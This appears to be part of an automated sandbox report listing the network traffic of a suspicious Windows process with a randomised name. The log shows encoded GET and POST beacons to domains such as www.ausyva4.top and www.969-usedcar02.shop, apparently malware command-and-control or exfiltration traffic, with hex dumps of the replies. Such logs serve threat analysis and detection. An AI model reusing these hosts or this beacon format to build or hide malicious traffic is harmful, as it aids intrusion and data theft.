C/M04YnIOSIc2tEz9JKxbSfNof9CEvAVVM1/RJPCQUvbmtOv5ka76zOicmYNq9xfOpFZCiqW7L3YHPZRKLCWItN06pS5x4eSFsm59kW9zi2cE7HEuq7PiVuTCxsyJ6y7O9imtYoN9pVaU1vDEuNA3tdJu5NZeLPiPJqV7dINK1/pJsTRwq+vmKvL6cqZRtVhj2pnk1kMnznUgjk2i8rn0QXySAL8fIWV3Oktes2/NOLDLkMF6894ufdd6XoQ2op8XC/S4135l3WBFPsjk/t02amOfrApI10sgsM3ApFh [TRUNCATED]
Dec 17, 2024 08:24:34.405495882 CET	815	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 07:24:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hIelB46BcHRgkok219krv8Mumjfw%2FpHRb6DrileRgllu81rW9XmdL9fJFcW4%2FY5yVZyhBi8Q%2Bpi0gjkCY5xP0jrKriIkEEvEHxCuBsYcM3DFr2rPtQ98yaff3Uhju%2FcroS4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f352c98ff9a43f7-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1819&rtt_var=909&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1761&delivery_rate=0&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Dec 17, 2024 08:24:34.406332970 CET	355	IN	Data Raw: 31 35 37 0d 0a 75 91 41 4b 03 31 10 85 ef 85 fe 87 d1 7b 3b dd 75 45 28 21 07 6d 45 a1 6a d1 15 f4 98 36 d3 26 98 66 4a 76 b6 cb fe 7b e9 da 95 22 78 c9 cb 64 e6 7b 4c 78 ea 62 f6 72 57 7e 2e e7 f0 50 3e 2d 60 f9 7e bb 78 bc 83 cb 11 e2 e3 bc bc Data Ascii: 157uAK1{;uE(!mEj6&fJv{"xd{LxbrW~.P>-`~xGN> /pBdV%.&<=*yTj=PeipoRN 5EOqMcJe S$s+QU-Ro8n\|N;##C]n3Z@]vuV.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49717	104.21.48.233	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:36.121577978 CET	464	OUT	GET /al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E+Bhsof6UHxdy2RqbyRgtbt7gLKPghU8oqnr4otrEVDu/SUiQI/oGzb8PpnvlDT2bJ+R5Sn1ObiYbGTGLsy9HRXwDQ==&kVvpD=Bx4T HTTP/1.1 Host: www.ausyva4.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Dec 17, 2024 08:24:37.312887907 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 07:24:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WdxplgCoAyb9r%2BTdQqkLpyWc%2F85Qf1f6IcWe%2BHIEDONXFXQQIHeQYpn1an9GCeM%2BMwfMlrTZIFb2nkhkr3svcFWCbf1tNXWLbQh6ZybUyaNM4qlXx0pyKIGezLyMst9bQR0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f352cab1ed443f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2229&min_rtt=2229&rtt_var=1114&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=464&delivery_rate=0&cwnd=181&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 63 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f [TRUNCATED] Data Ascii: 2c9<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://www.ausyva4.top/al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E+Bhsof6UHxdy2RqbyRgtbt7gLKPghU8oqnr4otrEVDu/SUiQI/oGzb8Ppnvl
Dec 17, 2024 08:24:37.312948942 CET	255	IN	Data Raw: 44 54 32 62 4a 2b 52 35 53 6e 31 4f 62 69 59 62 47 54 47 4c 73 79 39 48 52 58 77 44 51 3d 3d 26 61 6d 70 3b 6b 56 76 70 44 3d 42 78 34 54 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e Data Ascii: DT2bJ+R5Sn1ObiYbGTGLsy9HRXwDQ==&kVvpD=Bx4T</td></tr><tr><td>Server:</td><td>luodiye-aws-node1</td></tr><tr><td>Date:</td><td>2024/12/17 15:24:37</td></tr></table><hr/>Powered by X<hr><center>tengine</center></body>
Dec 17, 2024 08:24:37.313174963 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49719	199.59.243.227	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:43.031739950 CET	745	OUT	POST /cfcv/ HTTP/1.1 Host: www.969-usedcar02.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 204 Connection: close Origin: http://www.969-usedcar02.shop Referer: http://www.969-usedcar02.shop/cfcv/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 2f 48 72 38 65 44 6b 2f 37 4d 47 4d 46 68 6d 58 6e 7a 73 6e 45 57 6d 78 50 4e 49 36 77 66 43 34 45 6b 73 68 64 78 46 76 56 55 45 64 65 49 69 6c 6b 4f 64 59 6a 33 64 44 43 71 35 6a 38 52 70 7a 4c 5a 50 32 36 6e 4b 6d 66 62 62 69 43 61 43 4a 7a 6d 44 57 51 31 74 77 66 52 59 74 4f 61 38 57 6a 2f 71 2f 73 38 78 47 6e 4e 65 4a 4c 62 4b 59 62 61 4f 6b 52 47 56 6b 64 4e 48 73 30 53 47 70 39 6c 49 56 48 54 65 37 46 33 61 4e 75 46 2f 56 56 74 49 39 4e 34 69 46 42 33 2f 47 58 61 38 4d 79 57 64 6c 38 44 52 34 47 47 6e 47 38 44 64 6b 2b 6a 77 63 74 64 58 46 45 4b 44 4a 51 6b 6d 50 35 71 71 6a 50 39 6f 3d Data Ascii: rPh=/Hr8eDk/7MGMFhmXnzsnEWmxPNI6wfC4EkshdxFvVUEdeIilkOdYj3dDCq5j8RpzLZP26nKmfbbiCaCJzmDWQ1twfRYtOa8Wj/q/s8xGnNeJLbKYbaOkRGVkdNHs0SGp9lIVHTe7F3aNuF/VVtI9N4iFB3/GXa8MyWdl8DR4GGnG8Ddk+jwctdXFEKDJQkmP5qqjP9o=
Dec 17, 2024 08:24:44.111365080 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 17 Dec 2024 07:24:43 GMT content-type: text/html; charset=utf-8 content-length: 1138 x-request-id: 403c4ede-166e-4c4f-8de9-a3c17097ec66 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_c9ig55E3nT++X9XqkzNGSH2k8S0ToHdg6qJ5oT8jrxq8Ne2e+zhm7GfjDprYRlSZx62sEPtwgkZy+xaI8sW9ZQ== set-cookie: parking_session=403c4ede-166e-4c4f-8de9-a3c17097ec66; expires=Tue, 17 Dec 2024 07:39:43 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 39 69 67 35 35 45 33 6e 54 2b 2b 58 39 58 71 6b 7a 4e 47 53 48 32 6b 38 53 30 54 6f 48 64 67 36 71 4a 35 6f 54 38 6a 72 78 71 38 4e 65 32 65 2b 7a 68 6d 37 47 66 6a 44 70 72 59 52 6c 53 5a 78 36 32 73 45 50 74 77 67 6b 5a 79 2b 78 61 49 38 73 57 39 5a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_c9ig55E3nT++X9XqkzNGSH2k8S0ToHdg6qJ5oT8jrxq8Ne2e+zhm7GfjDprYRlSZx62sEPtwgkZy+xaI8sW9ZQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 17, 2024 08:24:44.111434937 CET	591	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDAzYzRlZGUtMTY2ZS00YzRmLThkZTktYTNjMTcwOTdlYzY2IiwicGFnZV90aW1lIjoxNzM0NDIwMj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49720	199.59.243.227	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:45.730436087 CET	765	OUT	POST /cfcv/ HTTP/1.1 Host: www.969-usedcar02.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 224 Connection: close Origin: http://www.969-usedcar02.shop Referer: http://www.969-usedcar02.shop/cfcv/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 2f 48 72 38 65 44 6b 2f 37 4d 47 4d 48 42 57 58 6c 51 30 6e 55 47 6d 32 44 74 49 36 36 2f 43 38 45 6b 77 68 64 77 41 71 57 6d 67 64 65 6f 53 6c 6a 50 64 59 69 33 64 44 4a 4b 35 6d 79 78 70 38 4c 5a 4c 45 36 6a 4b 6d 66 62 2f 69 43 66 2b 4a 7a 58 44 52 54 46 74 79 55 78 59 76 52 4b 38 57 6a 2f 71 2f 73 38 6c 38 6e 4e 6d 4a 4c 4c 61 59 59 37 4f 6e 59 6d 56 72 56 74 48 73 77 53 47 74 39 6c 49 37 48 53 79 46 46 30 69 4e 75 45 50 56 56 59 6f 38 44 49 69 66 5a 58 2b 77 53 35 4a 42 33 30 77 44 79 53 6c 6c 4a 33 2f 37 35 31 73 4f 6b 42 34 61 75 64 2f 75 45 4a 72 2f 56 54 37 6e 6a 4a 36 54 52 71 39 4f 75 6c 68 47 64 30 42 4a 63 39 63 4d 62 33 43 7a 4a 62 33 74 Data Ascii: rPh=/Hr8eDk/7MGMHBWXlQ0nUGm2DtI66/C8EkwhdwAqWmgdeoSljPdYi3dDJK5myxp8LZLE6jKmfb/iCf+JzXDRTFtyUxYvRK8Wj/q/s8l8nNmJLLaYY7OnYmVrVtHswSGt9lI7HSyFF0iNuEPVVYo8DIifZX+wS5JB30wDySllJ3/751sOkB4aud/uEJr/VT7njJ6TRq9OulhGd0BJc9cMb3CzJb3t
Dec 17, 2024 08:24:46.802655935 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 17 Dec 2024 07:24:46 GMT content-type: text/html; charset=utf-8 content-length: 1138 x-request-id: c427f7b8-cad8-4032-a7df-b1365a50d31a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_c9ig55E3nT++X9XqkzNGSH2k8S0ToHdg6qJ5oT8jrxq8Ne2e+zhm7GfjDprYRlSZx62sEPtwgkZy+xaI8sW9ZQ== set-cookie: parking_session=c427f7b8-cad8-4032-a7df-b1365a50d31a; expires=Tue, 17 Dec 2024 07:39:46 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 39 69 67 35 35 45 33 6e 54 2b 2b 58 39 58 71 6b 7a 4e 47 53 48 32 6b 38 53 30 54 6f 48 64 67 36 71 4a 35 6f 54 38 6a 72 78 71 38 4e 65 32 65 2b 7a 68 6d 37 47 66 6a 44 70 72 59 52 6c 53 5a 78 36 32 73 45 50 74 77 67 6b 5a 79 2b 78 61 49 38 73 57 39 5a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_c9ig55E3nT++X9XqkzNGSH2k8S0ToHdg6qJ5oT8jrxq8Ne2e+zhm7GfjDprYRlSZx62sEPtwgkZy+xaI8sW9ZQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 17, 2024 08:24:46.802707911 CET	591	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzQyN2Y3YjgtY2FkOC00MDMyLWE3ZGYtYjEzNjVhNTBkMzFhIiwicGFnZV90aW1lIjoxNzM0NDIwMj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49721	199.59.243.227	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:48.402513981 CET	1782	OUT	POST /cfcv/ HTTP/1.1 Host: www.969-usedcar02.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1240 Connection: close Origin: http://www.969-usedcar02.shop Referer: http://www.969-usedcar02.shop/cfcv/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 2f 48 72 38 65 44 6b 2f 37 4d 47 4d 48 42 57 58 6c 51 30 6e 55 47 6d 32 44 74 49 36 36 2f 43 38 45 6b 77 68 64 77 41 71 57 6d 6f 64 65 5a 79 6c 6c 73 31 59 68 33 64 44 45 71 35 6e 79 78 70 62 4c 66 6a 41 36 6a 4f 51 66 64 37 69 44 35 71 4a 31 6c 6e 52 45 31 74 79 4a 68 59 71 4f 61 39 65 6a 37 48 32 73 38 31 38 6e 4e 6d 4a 4c 4f 65 59 50 36 4f 6e 65 6d 56 6b 64 4e 48 61 30 53 47 56 39 6c 77 4e 48 53 48 77 46 45 43 4e 70 6b 66 56 53 38 49 38 46 59 69 5a 61 58 2b 34 53 35 55 42 33 30 74 36 79 53 52 66 4a 77 54 37 34 41 4e 4f 33 6c 6b 6d 73 65 32 61 43 70 44 2b 51 68 58 34 39 6f 79 77 5a 4c 55 76 73 56 78 4b 52 53 46 42 55 76 46 48 43 68 32 42 45 76 69 2f 2b 74 66 54 5a 79 67 79 61 43 38 36 4f 57 52 62 50 4b 32 78 7a 32 42 64 51 77 61 42 4f 2f 6c 77 59 74 43 7a 58 30 76 57 4c 7a 65 48 76 62 67 65 50 47 54 55 33 2b 39 41 5a 4e 65 37 54 43 6a 4f 6e 57 50 62 46 47 2b 77 57 62 69 77 4b 61 44 45 35 35 68 71 6e 44 6b 75 65 54 2f 77 6c 43 72 35 4e 57 41 64 46 74 75 4b 7a 6c 4c 70 7a 6c 78 59 4b 37 [TRUNCATED] Data Ascii: rPh=/Hr8eDk/7MGMHBWXlQ0nUGm2DtI66/C8EkwhdwAqWmodeZylls1Yh3dDEq5nyxpbLfjA6jOQfd7iD5qJ1lnRE1tyJhYqOa9ej7H2s818nNmJLOeYP6OnemVkdNHa0SGV9lwNHSHwFECNpkfVS8I8FYiZaX+4S5UB30t6ySRfJwT74ANO3lkmse2aCpD+QhX49oywZLUvsVxKRSFBUvFHCh2BEvi/+tfTZygyaC86OWRbPK2xz2BdQwaBO/lwYtCzX0vWLzeHvbgePGTU3+9AZNe7TCjOnWPbFG+wWbiwKaDE55hqnDkueT/wlCr5NWAdFtuKzlLpzlxYK7UN/ULZecSRb4omGblLwpyQzGrz/u+sPH9pKOX1jZj7eNSpPpPoG2xeadH3iaTFGPMzyBVJBw5Pt+5+ePykGxZNNPJVr7i0WvtCRu1sYKFhTFUhgL6TB8skqI071rLlc+DxTIuoTALLVstoddw6y07wvLxwSMfRRmS4pu+BQBntcHxHeBVMBY0y5slXQlkkcmBoJ86FYxgDJn+kGw4LpUXGxOB2MpGiE3KMGRxVBNOUq6cudL+fihxP+mP34bbAEUbfgajLBEWmY02bke/6AcQSajGSAXIqZASseMKmBkIdjH9QSy4J21WGiG5vHFnN2K100nU9ypqiVJtONHnh1oQeINY59I6ba+X4Q5XyAWKH52/KLgLpMfLYRB+sQ1s7kKV9mjlERNjeZV1PG2aJmt72GsbGg3idY/aZcNtUThH6qc6NTlLJD0wVAxa0bJAUgPCluIdHWdcxU9dxGKGSoii9hDlD4pzdH0f7dFXvaPkx4eHuIKMDWEP0gcf+Q/RKL9mJXChBPLPxF5mhBFUX142Q3z4uMNb90QF/9MPS9e4w8TqFtvsMnwojv4vFDJxGjBtE5nvtRzwzeQECxjKNOGy0euksUuY/S4so0ZDx3AgAKU4t04XTtNFPVKKxqM7Vx8qWEWR0B4QkKVEZIwIC3MFkgvPYpIPbTQqS [TRUNCATED]
Dec 17, 2024 08:24:49.495121956 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 17 Dec 2024 07:24:49 GMT content-type: text/html; charset=utf-8 content-length: 1138 x-request-id: d0f5d0e2-0973-457d-ad94-e71c6ed60152 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_c9ig55E3nT++X9XqkzNGSH2k8S0ToHdg6qJ5oT8jrxq8Ne2e+zhm7GfjDprYRlSZx62sEPtwgkZy+xaI8sW9ZQ== set-cookie: parking_session=d0f5d0e2-0973-457d-ad94-e71c6ed60152; expires=Tue, 17 Dec 2024 07:39:49 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 39 69 67 35 35 45 33 6e 54 2b 2b 58 39 58 71 6b 7a 4e 47 53 48 32 6b 38 53 30 54 6f 48 64 67 36 71 4a 35 6f 54 38 6a 72 78 71 38 4e 65 32 65 2b 7a 68 6d 37 47 66 6a 44 70 72 59 52 6c 53 5a 78 36 32 73 45 50 74 77 67 6b 5a 79 2b 78 61 49 38 73 57 39 5a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_c9ig55E3nT++X9XqkzNGSH2k8S0ToHdg6qJ5oT8jrxq8Ne2e+zhm7GfjDprYRlSZx62sEPtwgkZy+xaI8sW9ZQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Dec 17, 2024 08:24:49.495171070 CET	591	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZDBmNWQwZTItMDk3My00NTdkLWFkOTQtZTcxYzZlZDYwMTUyIiwicGFnZV90aW1lIjoxNzM0NDIwMj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49722	199.59.243.227	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
